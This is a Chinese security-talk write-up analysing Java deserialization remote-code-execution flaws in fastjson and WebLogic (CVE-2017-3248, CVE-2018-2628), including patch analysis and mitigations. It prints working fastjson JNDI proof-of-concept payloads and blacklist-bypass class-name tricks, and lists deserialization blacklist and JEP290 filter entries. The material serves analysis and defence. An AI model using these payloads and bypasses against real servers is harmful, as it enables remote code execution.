2017年又是反序列漏洞的大年,涌现了许多经典的因为反序列化导致的远程代码执行漏洞,像fastjson,jackson,struts2,weblogic这些使用量非常大的产品都存在这类漏洞,但不幸的是,这些漏洞的修复方式都是基于黑名单,每次都是旧洞未补全,新洞已面世。随着虚拟货币的暴涨,这些直接的远程执行代码漏洞都成了挖矿者的乐园。 本议题将从那些经典案例入手,分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析,由于黑名单做了加密处理,这里会展开如何得到其黑名单,如何构造PoC。当然2018年的重点还是weblogic,由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞,带大家傲游反序列化的世界,同时也是希望开发者多多借鉴做好安全编码。
本文作者来自绿盟科技,现任网络安全攻防实验室安全研究经理,安全行业从业七年,是看雪大会讲师,Pycon大会讲师,央视专访嘉宾,向RedHat、Apache、Amazon,Weblogic,阿里提交多份RCE漏洞报告,最近的Weblogic CVE-2018-2628就是一个。
个人博客:xxlegend.com 个人公众号:廖新喜
序列化和反序列化是java引入的数据传输存储接口,序列化是用于将对象转换成二进制串存储,对应着writeObject,而反序列正好相反,将二进制串转换成对象,对应着readObject,类必须实现反序列化接口,同时设置serialVersionUID以便适用不同jvm环境。 可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头:0xaced,TC_OBJECT:0x73,TC_CLASS:0x72,serialVersionUID,newHandle 使用场景: • http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等 • Servlets HTTP,Sockets,Session管理器 包含的协议就包括JMX,RMI,JMS,JNDI等(/xac/xed) • xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml) • json(Jackson,fastjson) http请求中包含
反序列攻击时序图:
常见的反序列化项目: • Ysoserial 原生序列化PoC生成 • Marshalsec 第三方格式序列化PoC生成 • Freddy burp反序列化测试插件 • Java-Deserialization-Cheat-Sheet
Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序 快速匹配”的算法,号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化,示例代码如下:
User user = new User("guest",2); String jsonString = JSON.toJSONString(user) String jsonString = "{//"name//"://"guest//",//"age//":12}" User user = (User)JSON.parse(jsonString)
Fastjson PoC分类 主要分为两大类,一个是基于TemplateImpl,另外就是基于基于JNDI,基于JNDI的又可分为 a) Bean Property类型 b) Field类型 可以参考Demo: https://github.com/shengqi158/fastjson-remote-code-execute-poc
fastjson为了防止研究人员研究它的黑名单,想出了一套新的黑名单机制,这套黑名单是基于具体类的hash加密算法,不可逆。如果是简单穷举,基本算不出来,后来我想到这些库的黑名单肯定都在Maven仓库中,于是写了个爬虫,爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。
下面这段代码是fastjson用来自定义loadClass的实现
public static Class<?> loadClass(String className, ClassLoader classLoader) { //省略 if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } try { if (classLoader != null) { clazz = classLoader.loadClass(className);
首先我们来看一个经典的PoC, {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true}
,关于这个PoC的解读在我博客上有,这里不再详述,但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞,首先看1.2.41的绕过方法是 Lcom.sun.rowset.RowSetImpl;
,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符 L
和最后一个字符 ;
吧,果不其然,在官方的修补方案中,如果以 L
打头, ;
结尾则会去掉打头和结尾。当时我就发了一个感概:补丁未出,漏洞已行。很显然,1.2.42的绕过方法是 LLcom.sum.rowset.RowSetImpl;;
,细心的读者还会看到loadClass的第一个if判断中还有 [
打头部分,所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp. 在官方版本1.2.45黑名单中又添加了ibatis的黑名单,PoC如下: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
,首先这是一个基于JNDI的PoC,为了更加理解这个PoC,我们还是先来看一下JndiDataSourceFactory的源码。
public class JndiDataSourceFactory implements DataSourceFactory { public static final String DATA_SOURCE = "data_source"; //省略 public void setProperties(Properties properties) { try { InitialContext initCtx = null; Hashtable env = getEnvProperties(properties); if (env == null) { initCtx = new InitialContext(); } else { initCtx = new InitialContext(env); } //省略 } else if (properties.containsKey(DATA_SOURCE)) { dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE)); } } catch (NamingException e) { throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e); } }
其本质还是通过bean操作接口set来调用setProperties,然后触发JNDI查询。
Weblogic是第一个成功商业化的J2EE应用服务器,在大型企业中使用非常广泛。在Oracle旗下,可以与其他Oracle产品强强联手,WebLogic Server Java EE 应用基于标准化、模块化的组件,WebLogic Server 为这些模块提供了一组完整的服务,无需编程即可自动处理应用行为的许多细节,另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示:
基于T3 • 新的攻击面 • 基于commons-collections • 采用黑名单修复
org.apache.commons.collections.functors* * com.sun.org.apache.xalan.internal.xsltc.trax* * javassist* * org.codehaus.groovy.runtime.ConvertedClosure org.codehaus.groovy.runtime.ConversionHandler org.codehaus.groovy.runtime.MethodClosure
• 作用位置有限
首先来看下漏洞位置,在readExternal位置,
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { super.readExternal(var1); //省略 ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer); ObjectInputStream var5 = new ObjectInputStream(var4); //省略 try { while (true) { this.writeObject(var5.readObject()); } } catch (EOFException var9) {
再来看看补丁,加了一个FilteringObjectInputStream过滤接口
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { super.readExternal(var1); //省略 this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in) BufferInputStream is = this.payload.getInputStream(); FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4); //省略 try { while (true) { this.writeObject(var5.readObject()); } } catch (EOFException var9) {
FilteringObjectInputStream的实现如下:
public class FilteringObjectInputStream extends ObjectInputStream { public FilteringObjectInputStream(InputStream in) throws IOException { super(in); } protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException { String className = descriptor.getName(); if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) { throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName()); } else { return super.resolveClass(descriptor); } } }
其实就是在resolveClass位置加了一层黑名单控制。
• CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞 • CVE-2017-10271 是3506的绕过 • 都是挖矿主力军 • 基于http协议 详细解读可参考我的博客: http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream { protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException { String className = descriptor.getName(); if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) { throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName()); } else { Class c = super.resolveClass(descriptor); //省略 } } protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) { String intf = arr$[i$]; if(intf.equals("java.rmi.registry.Registry")) { throw new InvalidObjectException("Unauthorized proxy deserialization"); } } return super.resolveProxyClass(interfaces); }
CVE-2017-3248 这个漏洞是根据JRMPListener来构造的,从这个补丁也可以看出,在resolveClass和resolveProxyClass都设置了黑名单。
这个漏洞是我报给Oracle官方的,但是他们并没有修复完全,导致后来这个漏洞被滥用。 • 完美绕过CVE-2017-3248 • 基于StreamMessage封装 • 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制 • Proxy非必须项 攻击示意图如下:
简单分析可见: http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/
• 过滤T3协议,限定可连接的IP • 设置Nginx反向代理,实现t3协议和http协议隔离 • JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理,黑名单如下: 黑名单:
maxdepth=100; !org.codehaus.groovy.runtime.ConvertedClosure; !org.codehaus.groovy.runtime.ConversionHandler; !org.codehaus.groovy.runtime.MethodClosure; !org.springframework.transaction.support.AbstractPlatformTra nsactionManager; !sun.rmi.server.UnicastRef; !org.apache.commons.collections.functors.*; !com.sun.org.apache.xalan.internal.xsltc.trax.*; !javassist.*
当然也有失效的时候,就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。
• 不要反序列化不可信的数据 • 给反序列数据加密签名,并确保解密在反序列之前 • 给反序列化接口添加认证授权 • 反序列化服务只允许监听在本地或者开启相应防火墙 • 升级第三方库 • 升级JDK,JEP290
绿盟科技Web攻防实验室欢迎各位应聘,招聘大牛和实习生。团队专注于最前沿的Web攻防研究,大数据分析,前瞻性攻击与检测预研. 联系邮箱: liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com